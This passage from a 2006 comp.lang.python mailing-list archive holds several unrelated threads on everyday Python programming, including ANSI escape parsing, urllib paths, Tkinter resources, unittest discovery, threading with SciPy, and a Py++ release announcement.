I'm not quite following this last suggestion.  Can you explain more. 
Sorry.

-- Lou Pecora  (my views are my own) REMOVE THIS to email me.


From http  Thu Oct 19 18:33:25 2006
From: http (Paul Rubin)
Date: 19 Oct 2006 15:33:25 -0700
Subject: Lead Software Engineer
References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
Message-ID: <7x4pu0lyve.fsf@ruckus.brouhaha.com>

"Emma" <jobsearch34653 at yahoo.com> writes:
> Successful candidates meet the following requirements:

Um, who is asking?


From steve at holdenweb.com  Tue Oct 10 02:57:27 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 07:57:27 +0100
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160455280.118212.202770@b28g2000cwb.googlegroups.com>
References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com>	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>	<mailman.61.1160333064.11739.python-list@python.org>	<1160335473.625244.261640@m7g2000cwm.googlegroups.com>	<mailman.76.1160338331.11739.python-list@python.org>	<1160345922.051578.146630@i3g2000cwc.googlegroups.com>	<mailman.97.1160379058.11739.python-list@python.org>	<sBvWg.9232$o71.985@newsread3.news.pas.earthlink.net>
	<1160455280.118212.202770@b28g2000cwb.googlegroups.com>
Message-ID: <egfg6v$rsu$1@sea.gmane.org>

MonkeeSage wrote:
> On Oct 9, 2:31 am, Steve Holden <s... at holdenweb.com> wrote:
> 
>>Keep right on guessing.
> 
> 
> I hope I'm not offending one whom I consider to be much more skilled
> and versed than I am, not only in python, but in programming in
> general; but I must say: it seems you are being rather obtuse here. I
> think I laid out the principal clearly enough, and I know you have the
> mental capacity to extrapolate from the principal to general use cases.
> But even so, here is a simple use case from the standard library
> (python 2.5 release source):
> 
> In Libs/site.py, lines 302-306:
> 
>             try:
>                 for i in range(lineno, lineno + self.MAXLINES):
>                     print self.__lines[i]
>             except IndexError:
>                 break
> 
> With my proposal, that could be written as:
> 
>             for i in range(lineno, lineno + self.MAXLINES):
>                 if self.__lines.has_index(i):
>                     print self.__lines[i]
>                 else:
>                     break
> 
> Granted, in this particular case the amount of code is not reduced, but
> (and I would hope you'd agree) the control flow is certainly easier to
> follow.
> 
> 
>>OK, so now we appear to be arguing about whether a feature should go
>>into Python because *you* find it to be easier to read and write. But I
>>don't see a groundswell of support from other readers saying "Wow, I've
>>always wanted to do it like that".
> 
> 
> *Someone* (other than me!) obviously found it nice to have the dict
> convenience methods. As for garnishing support, I almost see that as
> more of a cultural, rather than pragmatic issue. I.e., if it's not
> there already, then it shouldn't be there: "what is is what should be".
> Of course, consistently following that naive presumption would totally
> stiffle *any* extension to python. However, (I think) I do understand
> the psychology of the matter, and don't fault those who cannot see past
> what already is (not meaning to implicate you or Fredrick or anyone
> else -- the comment is innocent).
> 
> 
>>In fact d.has_key(k) is a historical spelling, retained only for
>>backwards compatibility, of k in dict. As to the d.get(k, default)
>>method I really don't see a compelling use case despite your
>>protestations, and I don't seem to be alone. Please feel free to start
>>recruiting support.
> 
> 
> As I stated to another poster; I'm not really concerned with
> implementation details, only with the presence or absence of
> convenience methods. You can write "if k in d" as easily as "if index <
> len(seq)". But semantically, they are similar enough, in my (admittedly
> lowly) estimation, to desevere similar convenience methods.
> 
> 
>>The fact that nobody has listed the good reasons why I shouldn't try to
>>make a computer from mouldy cheese doesn't make this a good idea.
> 
> 
> Heh. True. I didn't mean to imply that I was arguing from the negative.
> I was only tring to shift the perspective to include the reasons for
> the dict convenience methods. If C is good for A, and A is sufficiently
> similar to B, then C is good for B. But if C is just crud, then forget
> it all around. ;)
> 
> 
> On Oct 9, 12:24 pm, Dennis Lee Bieber <wlfr... at ix.netcom.com> wrote:
> 
>>        But how do you handle the case of:
>>
>>l = []
>>i = 10
>>
>>l[i] = l.get(i, 0) + 1
> 
> 
> You don't; you just let the IndexError fall through. Same as a KeyError
> for d[k]. My propopsal is in regard to convencience methods, not to
> direct access.
> 
> Ps. Sorry if this comes through twice, Google is being wierd right now.
> 
I think we'll just have to agree to differ in this repsecrt, as I don't 
see your suggestions for extending the sequence API as particularly 
helpful. The one case you quote doesn't actually use the construct to 
supply a default value, it just terminates a loop early if the sequence 
length is below expectation (unless I've misread the code: that does 
happen).

I don't really think it's a biggy, I just don't see the parallels that 
you do.  Your point about blindness to the need for change is one that 
we do have to be careful of (not that I'm the person to consult about 
what goes into the language anyway). But if you think you've had an 
argument here, try writing a PEP for this and see if you can persuade 
the denizens of python-dev to accept (and implement) it.

regard
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From Leo.Kislov at gmail.com  Fri Oct 13 07:55:03 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 13 Oct 2006 04:55:03 -0700
Subject: Need a Regular expression to remove a char for Unicode text
In-Reply-To: <1160739866.224070.252590@m73g2000cwd.googlegroups.com>
References: <1160735716.805309.316830@m73g2000cwd.googlegroups.com>
	<1160739866.224070.252590@m73g2000cwd.googlegroups.com>
Message-ID: <1160740503.886428.82340@i3g2000cwc.googlegroups.com>



On Oct 13, 4:44?am, harvey.tho... at informa.com wrote:
> ????????? wrote:
> > Hai friends,
> > Can any one tell me how can i remove a character from a unocode text.
> > ????&??? is a Telugu word in Unicode. Here i want to
> > remove '&' but not replace with a zero width char. And one more thing,
> > if any whitespaces are there before and after '&' char, the text should
> > be kept as it is. Please tell me how can i workout this with regular
> > expressions.
>
> > Thanks and regards
> > Srinivasa Raju DatlaDon't know anything about Telugu, but is this the approach you want?
>
> >>> x=u'\xfe\xff & \xfe\xff \xfe\xff&\xfe\xff'
> >>> noampre = re.compile('(?<!\s)&(?!\s)', re.UNICODE).sub
> >>> noampre('', x)

He wants to replace & with zero width joiner so the last call should be
noampre(u"\u200D", x)



From anthra.norell at vtxmail.ch  Mon Oct 23 08:56:35 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 23 Oct 2006 14:56:35 +0200
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <JfU_g.1083$GR2.132@tornado.texas.rr.com>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>
	<JfU_g.1083$GR2.132@tornado.texas.rr.com>
Message-ID: <453CBC03.6090003@vtxmail.ch>

Paul McGuire wrote:
> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message 
> news:GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d at comcast.com...
>   
>> Alright... I am attempting to find a way to parse ANSI text from a
>> telnet application.  However, I am experiencing a bit of trouble.
>>
>> What I want to do is have all ANSI sequences _removed_ from the output,
>> save for those that manage color codes or text presentation (in short,
>> the ones that are ESC[#m (with additional #s separated by ; characters).
>> The ones that are left, the ones that are the color codes, I want to
>> act on, and remove from the text stream, and display the text.
>>
>>     
> Here is a pyparsing-based scanner/converter, along with some test code at 
> the end.  It takes care of partial escape sequences, and strips any 
> sequences of the form
> "<ESC>[##;##;...<alpha>", unless the trailing alpha is 'm'.
> The pyparsing project wiki is at http://pyparsing.wikispaces.com.
>
> -- Paul
>
> from pyparsing import *
>
>   
snip
>  
>
> test = """\
> This is a test string containing some ANSI sequences.
> Sequence 1: ~[10;12m
> Sequence 2: ~[3;4h
> Sequence 3: ~[4;5m
> Sequence 4; ~[m
> Sequence 5; ~[24HNo more escape sequences.
> ~[7""".replace('~',chr(27))
>
> leftOver = processInputString(test)
>
>
> Prints:
> This is a test string containing some ANSI sequences.
> Sequence 1:
> <change color attributes to ['1012']>
>   
I doubt we should concatenate numbers.
> Sequence 2:
>
> Sequence 3:
> <change color attributes to ['45']>
>
> Sequence 4;
> <change color attributes to ['']>
>
> Sequence 5;
> No more escape sequences.
>
> <found partial escape sequence ['\x1b[7'], tack it on front of next>
>
>
>   
Another one of Paul's elegant pyparsing solutions. To satisfy my own 
curiosity, I tried to see how SE stacked up and devoted more time than I 
really should to finding out. In the end I don't know if it was worth 
the effort, but having made it I might as well just throw it in.

The following code does everything Mike needs to do, except interact 
with wx. It is written to run standing alone. To incorporate it in 
Mike's class the functions would be methods and the globals would be 
instance attributes. Running it does this:

 >>> chunk_1 = """This is a test string containing some ANSI sequences.
Sequence 1 Valid code, invalid numbers: \x1b[10;12mEnd of sequence 1
Sequence 2 Not an 'm'-code: \x1b[30;4;77hEnd of sequence 2
Sequence 3 Color setting code: \x1b[30;45mEnd of sequence 3
Sequence 4 Parameter setting code: \x1b[7mEnd of sequence 4
Sequence 5 Color setting code spanning calls: \x1b[3"""

 >>> chunk_2 = """7;42mEnd of sequence 5
Sequence 6 Invalid code: \x1b[End of sequence 6
Sequence 7 A valid code at the end: \x1b[9m
"""

 >>> init ()
 >>> process_text (chunk_1)
 >>> process_text (chunk_2)
 >>> print output

This is a test string containing some ANSI sequences.
Sequence 1 Valid code, invalid numbers:  >>! Ignoring unknown number 10 
!<<  >>! Ignoring unknown number 12 !<< End of sequence 1
Sequence 2 Not an 'm'-code: End of sequence 2
Sequence 3 Color setting code:  >>setting foreground BLACK<<  >>setting 
background MAGENTA<< End of sequence 3
Sequence 4 Parameter setting code:  >>Calling parameter setting function 
7<< End of sequence 4
Sequence 5 Color setting code spanning calls:  >>setting foreground 
GREY<<  >>setting background GREEN<< End of sequence 5
Sequence 6 Invalid code: nd of sequence 6
Sequence 7 A valid code at the end:  >>Calling parameter setting 
function 9<<
 

###################

And here it goes:

def init (): 
            
   # To add to AnsiTextCtrl.__init__ ()

   import SE   # SEL is less import overhead but doesn't have 
interactive development features (not needed in production versions)

   global output  #-> For testing
   global Pre_Processor, digits_re, Colors, truncated_escape_hold   # 
global -> instance attributes

   # Screening out all ansi escape sequences except those controlling color
   grit = '\n'.join (['(%d)=' % i for i in range (128,255)]) + ' (13)= '
   # Regular expression r'[\x80-\xff\r]' would work fine but is four 
times slower than 127 fixed definitions
   all_escapes   = r'\x1b\[\d*(;\d*)*[A-Za-z]'
   color_escapes = r'\x1b\[\d*(;\d*)*m'
   Pre_Processor = SE.SE ('%s ~%s~= ~%s~==' % (grit, all_escapes, 
color_escapes))  # SEL.SEL for production
   # 'all_escapes' also matches what 'color_escapes' matches. With 
identical regular expression matches it is the last definitions that 
applies. Other than that, the order of definitions is irrelevant to 
precedence.

   # Isolating digits.
   digits_re = re.compile ('\d+')

   # Color numbers to color names
   Colors = SE.SE ('''
       30=BLACK    40=BLACK
       31=RED      41=RED
       32=GREEN    42=GREEN
       33=YELLOW   43=YELLOW
       34=BLUE     44=BLUE
       35=MAGENTA  45=MAGENTA
       36=CYAN     46=CYAN
       37=GREY     47=GREY
       39=GREY     49=BLACK
       <EAT>
   ''')

   truncated_escape_hold = ''  #-> self.truncated_escape_hold
   output                = ''  #-> For testing only


# What follows replaces all others of Mike's methods

def process_text (text):

   global output  #-> For testing
   global truncated_escape_hold, digits_re, Pre_Processor, Colors

   purged_text = truncated_escape_hold + Pre_Processor (text)
   # Text is now clean except for color codes beginning with ESC

   ansi_controlled_sections = purged_text.split ('\x1b')
   # Each ansi_controlled_section starts with a color control, except 
the first one (leftmost split-off)

   if ansi_controlled_sections:
      #-> self.AppendText(ansi_controlled_sections [0])             #-> 
For real 
      output += ansi_controlled_sections [0]   #-> For testing      #-> 
For testing
      for section in ansi_controlled_sections [1:]:
         if section == '': continue
         try: escape_ansi_controlled_section, data = section.split ('m', 1)
         except ValueError:   # Truncated escape
            truncated_escape_hold = '\x1b' + section  # Restore ESC 
removed by split ('\x1b')
         else:
            escapes = escape_ansi_controlled_section.split (';')
            for escape in escapes:
               try: number = digits_re.search (escape).group ()
               except AttributeError:
                  output += ' >>!!!Invalid number %s!!!<<< ' % escape    
#-> For testing
                  continue
               _set_wx (number)
            #-> self.AppendText(data)     #-> For real 
            output += data                #-> For testing


def _set_wx (n):

   global output  # For testing only
   global Colors

   int_n = int (n)
   if 0 <= int_n <= 9:
      #-> self._number_to_method (n)()                              #-> 
For real
      output += ' >>Calling parameter setting function %s<< ' % n   #-> 
For testing
      return
   color = Colors (n)
   if color:
      if 30 <= int_n < 50:
         if 40 <= int_n:
            #-> self.AnsiBGColor = color                            #-> 
For real
            output += ' >>setting background %s<< ' % color         #-> 
For testing
         else:
            #-> self.AnsiFGColor = color                            #-> 
For real
            output += ' >>setting foreground %s<< ' % color         #-> 
For testing
         return
   output += ' >>!!!Ignoring unknown number %s!!!<< ' % n           #-> 
For testing


#-> For real requires this in addition:
#->
#->   # Methods controlled by 'm' code 0 to 9:  # Presumably 'm'?
#->
#->   def _0 (self):
#->      self.AnsiFGColor = 'GREY'
#->      self.AnsiBGColor = 'BLACK'
#->      self.AnsiFontSize = 9
#->      self.AnsiFontFamily = wx.FONTFAMILY_TELETYPE
#->      self.AnsiFontStyle = wx.FONTSTYLE_NORMAL
#->      self.AnsiFontWeight = wx.FONTWEIGHT_NORMAL
#->      self.AnsiFontUnderline = False
#->
#->   def  _1 (self): self.AnsiFontWeight = wx.FONTWEIGHT_BOLD
#->   def  _2 (self): self.AnsiFontWeight = wx.FONTWEIGHT_LIGHT
#->   def  _3 (self): self.AnsiFontStyle = wx.FONTSTYLE_ITALIC
#->   def  _4 (self): self.AnsiFontUnderline = True
#->   def  _5 (self): pass
#->   def  _7 (self): self.AnsiFGColor, self.AnsiBGColor = 
self.AnsiBGColor, self.AnsiFGColor
#->   def  _8 (self): self.AnsiFGColor = self.AnsiBGColor
#->   def  _9 (self): pass
#->
#->
#->   _number_to_method = {
#->      '0' : _0,
#->      '1' : _1,
#->      '2' : _2,
#->      '3' : _3,
#->      '4' : _4,
#->      '7' : _7,
#->      '8' : _8,
#->      '9' : _9,
#->   }

################

The most recent version of SE is now 2.3 with a rare malfunction 
corrected. (SE from http://cheeseshop.python.org/pypi/SE/2.2%20beta)





From cito at online.de  Sat Oct 14 23:00:44 2006
From: cito at online.de (Christoph Zwerschke)
Date: Sun, 15 Oct 2006 05:00:44 +0200
Subject: Bug in urllib?
In-Reply-To: <2cu2j2952nmbrj8rqs56trb7bur1jj6ig1@4ax.com>
References: <2cu2j2952nmbrj8rqs56trb7bur1jj6ig1@4ax.com>
Message-ID: <egs88v$knj$1@online.de>

goyatlah wrote:
> urllib.url2pathname("http://127.0.0.1:1030/js.cgi?pca&amp;r=12181")
> gives IOError : Bad Url, only coz of the :1030 which should be
> accurate portnumber. Is it something I did wrong, or a bug. And what
> to do to avoid this (except rewriting url2pathname)?

 >>> help(urllib.url2pathname)

url2pathname(url)
     OS-specific conversion from a relative URL of the 'file' scheme
     to a file system path; not recommended for general use.

So first, you must use a URL of the 'file' scheme, not of the 'http' 
scheme. This is something like:

'file://localhost/C|/srv/cgi.bin/js.cgi' or 'file:///C|/srv/cgi.bin/js.cgi

Second, it must be a "relative URL" which is a bit mistakable here. What 
is actually meant is that you must not prepend it with 'file:'.

So you have to pass

'//localhost/C|/srv/cgi.bin/js.cgi' or
'///C|/srv/cgi.bin/js.cgi'

On Windows, this will give you:

 >>> urllib.url2pathname('//localhost/C|/srv/cgi.bin/js.cgi')
C:\srv\cgi.bin\js.cgi

The docs at http://docs.python.org/lib/module-urllib.html say basically 
the same, you need to pass the *path component* of an URL, not the 
complete URL.

-- Christoph


From fuzzyman at gmail.com  Sun Oct  1 11:28:13 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 1 Oct 2006 08:28:13 -0700
Subject: AN Intorduction to Tkinter
In-Reply-To: <1159672543.243321.18760@b28g2000cwb.googlegroups.com>
References: <1159303606.988830.54800@e3g2000cwe.googlegroups.com>
	<451A314F.3060703@isy.liu.se>
	<mailman.815.1159378067.10491.python-list@python.org>
	<1159395485.824735.319090@b28g2000cwb.googlegroups.com>
	<1159419097.556600.160750@k70g2000cwa.googlegroups.com>
	<1159488825.144496.86610@c28g2000cwb.googlegroups.com>
	<mailman.917.1159509227.10491.python-list@python.org>
	<1159672543.243321.18760@b28g2000cwb.googlegroups.com>
Message-ID: <1159716493.370791.87430@b28g2000cwb.googlegroups.com>


flyingisfun1217 at gmail.com wrote:
> Sorry about that.
>
> As far as I can tell, its not anything to do with your code. I think
> its something with tkinter modules. Sorry about misleading you.
>
> Thanks for the help, I'm sure you'll hear from me soon again. In
> fact...

Unless you post the following, no-one is able to help you :

* Which examples you have a problem with
* What code you actually ran (and how you ran it - inside IDLE, at the
command line)
* What went wrong, or the full traceback of the error

For what it's worth, I've found the following resources useful for
Tkinter :

http://www.ferg.org/thinking_in_tkinter/index.html
http://www.python.org/doc/life-preserver/
http://infohost.nmt.edu/tcc/help/pubs/tkinter/
http://tkinter.unpythonic.net/wiki/
http://www.3dartist.com/WP/python/tknotes.htm

All the best,


Fuzzyman
http://www.voidspace.org.uk

> 
> FlyingIsFun1217



From fonnesbeck at gmail.com  Thu Oct 12 13:24:37 2006
From: fonnesbeck at gmail.com (Chris Fonnesbeck)
Date: Thu, 12 Oct 2006 13:24:37 -0400
Subject: problem including tests in unittest
Message-ID: <723eb6930610121024m27cea08bsd6847399df8001d@mail.gmail.com>

I have a module for which I am trying to code a unit test. However,
when I run unittest.main(), I get:

In [1]: import PyMC

In [2]: PyMC.unittest.main()

----------------------------------------------------------------------
Ran 0 tests in 0.000s

OK


This is confusing, because I have set up a class called MCMCTest that
is a sublcass of unttest.TestCase, which in turn contains a test
method. Yet, unittest seems not to be aware of it. Is there anything I
am forgetting?

Thanks,
Chris

-- 
Chris Fonnesbeck + Atlanta, GA + http://trichech.us


From gagsl-py at yahoo.com.ar  Tue Oct 24 20:01:17 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 24 Oct 2006 21:01:17 -0300
Subject: How to find out the directory that the py file is in?
In-Reply-To: <1161733168.997417.298450@i42g2000cwa.googlegroups.com>
References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061024205752.03bf35c0@yahoo.com.ar>

At Tuesday 24/10/2006 20:39, PengYu.UT at gmail.com wrote:

>I have the following python script and some_command in the same
>directory. I have to call the python script from that directory.
>Otherwise, some_command won't be found. I'm wondering how to make the
>following script working no matter what the working directory is.

print os.path.abspath(__file__)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From robert.kern at gmail.com  Mon Oct  2 13:01:42 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Oct 2006 12:01:42 -0500
Subject: Python threads and Numeric/SciPy exploit Dual Core ?
In-Reply-To: <efre39$262r$1@ulysses.news.tiscali.de>
References: <efqq34$22nc$1@ulysses.news.tiscali.de>	<mailman.1081.1159785982.10491.python-list@python.org>
	<efre39$262r$1@ulysses.news.tiscali.de>
Message-ID: <efrglf$48r$1@sea.gmane.org>

robert wrote:
> Fredrik Lundh wrote:
> 
>> "robert" wrote:
>>
>>> Simple Python code obviously cannot use the dual core by Python threads.
>>> Yet, a program drawing CPU mainly for matrix computations - preferably
>>> with Numeric/SciPy -  will this profit from a dual core when using 2 (or
>>> more) Python threads?
>>
>> as long as the binding releases the GIL, sure.
> 
> Thus - does Numeric/SciPy release it?

Depends. Some of the linear algebra functions in scipy do. Most operations do 
not. People are looking at adding more.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Tue Oct 24 12:35:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 18:35:22 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <453e3c5a$0$23254$426a74cc@news.free.fr>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<453E3370.9060008@kevin-walzer.com>
	<453e3c5a$0$23254$426a74cc@news.free.fr>
Message-ID: <ehlfc9$g15$1@sea.gmane.org>

Christophe wrote:

> Also, the Tkinter API is far less elegant than the others.

huh?  create object, display object, create object, display object. 
sure looks like plain old Python to me...

</F>



From ardsrk at gmail.com  Sun Oct 29 22:10:51 2006
From: ardsrk at gmail.com (ArdPy)
Date: 29 Oct 2006 19:10:51 -0800
Subject: Very simple request about argument setting.
In-Reply-To: <1162173597.849028.25940@m7g2000cwm.googlegroups.com>
References: <1162173597.849028.25940@m7g2000cwm.googlegroups.com>
Message-ID: <1162177851.172060.228610@m7g2000cwm.googlegroups.com>


Hakusa at gmail.com wrote:
> I have the argument items in my class room.
>
> class room:
> 	def __init__(self, name, description, items*):
>
> I thought I remembered from a tutorial I read once, and I've read so
> many I feel like an expert of them, that putting a little star* above
> an item makes it accept the argument as a list. But when I tried this,
> I got an invalid syntax error message.
>
There is an error in the syntax the star must prefix the variable name
not suffix it.
Then the items variable will accept the parameter value as a tuple.
> So:
> Question 1: How can I create an argument that accepts a list of
> variable?
It is not clear whether you want to accept a list variable or an
arbitrary number of values as parameter
to the function. So I will explain each case.
def ex(name,*items):
Here name, description and items can all accept lists as arguments.
Additionally items can accept arbitrary
number of arguments even of different types.
Ex:
ex([10,12],12,13.3,'Python')
>
> Question 2: How do I signify to accept each item as one list? (my bet's
> on using another set of parens)
I have answered this already.
>
> Question 3: Or am I going about this all wrong and should always create
> a list before the fuction call and use the list in the function call?
No need u can pass a list directly into the call.



From fredrik at pythonware.com  Wed Oct 11 16:57:31 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 22:57:31 +0200
Subject: python 2.5 & sqlite3
In-Reply-To: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>
Message-ID: <egjlrs$6gg$1@sea.gmane.org>

BartlebyScrivener wrote:

 > Sorry, I have a knack for making things more difficult than they need
> to be. I'm on Windows XP and waiting for the ActiveState release of
> Python 2.5. I want to experiment with sqlite and I see that Python 2.5
> has the "wrapper" but sqlite itself must be downloaded separately.

why not just grab the *official* 2.5 release from python.org instead of 
wasting time on broken distributions?

</F>



From toby.tan at gmail.com  Mon Oct 30 19:38:34 2006
From: toby.tan at gmail.com (Toby)
Date: 30 Oct 2006 16:38:34 -0800
Subject: Error importing .pyd python extension
Message-ID: <1162255114.879457.175290@h48g2000cwc.googlegroups.com>

Hi, I've managed to get my hands on the ms 2003 toolkit, and have
successfully (i think) created a .pyd file in win xp (setup.py is
provided intersystems cache):

--------------------------------------------------------------------
C:\CacheSys\Dev\python>setup.py install
enter directory where you installed Cache'c:\CacheSys
libdir=c:\CacheSys\dev\cpp\lib
include dir=c:\CacheSys\dev\cpp\include
running install
running build
running build_py
running build_ext
running install_lib
creating C:\Program Files\Python243\Lib\site-packages\intersys
copying build\lib.win32-2.4\intersys\pythonbind.py -> C:\Program
Files\Python243
\Lib\site-packages\intersys
copying build\lib.win32-2.4\intersys\pythonbind1.pyd -> C:\Program
Files\Python2
43\Lib\site-packages\intersys
copying build\lib.win32-2.4\intersys\__init__.py -> C:\Program
Files\Python243\L
ib\site-packages\intersys
byte-compiling C:\Program
Files\Python243\Lib\site-packages\intersys\pythonbind.
py to pythonbind.pyc
byte-compiling C:\Program
Files\Python243\Lib\site-packages\intersys\__init__.py
 to __init__.pyc

C:\CacheSys\Dev\python>cd \program
files\python243\Lib\site-packages\intersys\

C:\Program Files\Python243\Lib\site-packages\intersys>dir
 Volume in drive C is SYSTEM
 Volume Serial Number is 3835-49DE

 Directory of C:\Program Files\Python243\Lib\site-packages\intersys

31/10/2006  10:47 AM    <DIR>          .
31/10/2006  10:47 AM    <DIR>          ..
19/10/2006  05:50 PM             1,598 pythonbind.py
31/10/2006  10:47 AM             1,961 pythonbind.pyc
31/10/2006  09:44 AM            69,632 pythonbind1.pyd
17/07/2006  05:34 PM                 2 __init__.py
31/10/2006  10:47 AM               145 __init__.pyc
               5 File(s)         73,338 bytes
               2 Dir(s)  16,709,017,600 bytes free
--------------------------------------------------------------------

However, when I try to import pythonbind1.pyd I get the following
error:

Traceback (most recent call last):
  File
"C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py",
line 1843, in runMain
    self.dbg.runfile(debug_args[0], debug_args)
  File
"C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py",
line 1538, in runfile
    h_execfile(file, args, module=main, tracer=self)
  File
"C:\PROGRA~1\ACTIVE~1.5\lib\support\dbgp\pythonlib\dbgp\client.py",
line 596, in __init__
    execfile(file, globals, locals)
  File "C:\Program
Files\Python243\Lib\site-packages\intersys\tobytest.py", line 1, in
__main__
    import pythonbind1.pyd
ImportError: DLL load failed: The specified module could not be found.


Any suggestions?



From noway at sorry.com  Wed Oct  4 17:16:10 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 21:16:10 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<tCJUg.134232$zy5.1829450@twister1.libero.it>
	<eg0899$9g5$1@sea.gmane.org> <eg09i9$eod$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
	<7xk63gry9z.fsf@ruckus.brouhaha.com>
	<7-udnWt7IMm9aL7YnZ2dnUVZ_qSdnZ2d@speakeasy.net>
Message-ID: <uwVUg.135464$zy5.1833536@twister1.libero.it>

A.M. Kuchling wrote:

>> The surprise people are expressing is because they thought one of the
>> goals of a big open source project would be to avoid reliance on
>> closed tools.
>
> I don't think Python has ever had this as a goal.  Python's license
> lets it be embedded in closed-source products; Windows binaries are
> built using closed-source tools (MS Visual C), and on some platforms
> we use a closed-source system compiler; python.org used to be a
> Solaris box, and now uses SourceForge which runs on top of DB/2...

Notice that there is a different between "allowing/helping/supporting non-free
software" and "avoid reliance on non-free software". The fact that Python
license allows it to be used in non-free products falls in the former, while
the usage of Jira is part of the latter. Distributing binaries compiled with
closed-source tools is not a problem since people can still compile it with
different free compilers.

> IMHO, using Jira presents risks that are manageable:
> [...]
>
> * A data export is available if we decide to switch. [...]

Out of curiosity, how is this obtained? Is this any plan to take a daily export
or so?
-- 
Giovanni Bajo




From lycka at carmen.se  Fri Oct 27 10:14:48 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Fri, 27 Oct 2006 16:14:48 +0200
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
In-Reply-To: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
Message-ID: <eht48o$1d4$1@wake.carmen.se>

M?ta-MCI wrote:
> Hi!      (***sorry for my approximative english***)

That's ok. Quite amusing to read that you were repaired.

> A few months ago, I needed a console, under Windows.
> After several research, I selected the console of EffBot.
> 
> Thank you very much, Fredrik Lundh, for this small tool,
> quite practical and which repaired me well.
> 
> Then, Python 2.5 arrived.

That doesn't mean it's clever to use 2.5 right now...
There's plenty of code which isn't adapted to 2.5 yet.

Personally, I use 2.4 at work (although sometimes I
still need to be 2.2 compatible) and at home I have
both 2.4 and 2.5 installed. Most of the time I work
with 2.4 since I use packages which don't support 2.5
yet (or at least the last time I checked).


From steve at holdenweb.com  Thu Oct  5 08:20:43 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 13:20:43 +0100
Subject: Subclassing built-in classes
In-Reply-To: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
Message-ID: <eg2t96$jhj$1@sea.gmane.org>

MonkeeSage wrote:
> I know that python doesn't allow extending built-in objects like the
> str class; but you can subclass them using a class of the same name and
> thus shadow them to get the same general effect (albeit you have to use
> the explicit constructor rather than literals).
> 
> class str(str):
>   def display(self):
>     print self
> str('blah').display()
> 
> I was just playing around and realized that assigning to
> __builtins__.str (or if you prefer sys.modules['__builtin__'].str) has
> the same effect.
> 
> class mystr(str):
>   def display(self):
>     print self
> __builtins__.str = mystr
> str('blah').display()
> 
> So that made me wonder...couldn't python (in theory) allow for literals
> to use extended classes by using the object in __builtins__.<class> as
> the class for literals? By default it would be the standard base class,
> but it could also be a custom subclass. Would that be possible / easy /
> worthwhile to do?
> 
Unfortunately the literals are interpreted during bytecode generation, 
before the compiled program is available, and your modifications to 
__builtns__ haven't been made, so the answer is "no", I'm afraid.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From roman.yakovenko at gmail.com  Fri Oct 20 14:25:21 2006
From: roman.yakovenko at gmail.com (Roman Yakovenko)
Date: Fri, 20 Oct 2006 20:25:21 +0200
Subject: [ANN]Py++-0.8.2
In-Reply-To: <7465b6170610200214i653c2128g45a15f0b303734d7@mail.gmail.com>
References: <7465b6170610200214i653c2128g45a15f0b303734d7@mail.gmail.com>
Message-ID: <7465b6170610201125w7ac77ee5kccd3375b87ddc363@mail.gmail.com>

I'm glad to announce the new version of Py++.

Download page: http://language-binding.net/pyplusplus/download.html

What is it?
Py++ is an object-oriented framework for creating a code generator for
Boost.Python library.

Project home page: http://language-binding.net/pyplusplus/pyplusplus.html

The new version introduces quite few improvements:

* performance, in some case x10
* fully automatic algorithm for exposing C++ get\set functions as Python
   properties.
* treatment for previously generated, but no more in use, source files
* convenience API for translating user defined exception to Python one
* generated code  - improved formatting
* better understanding of call policies:
  - default_call_policies should not be generated any more
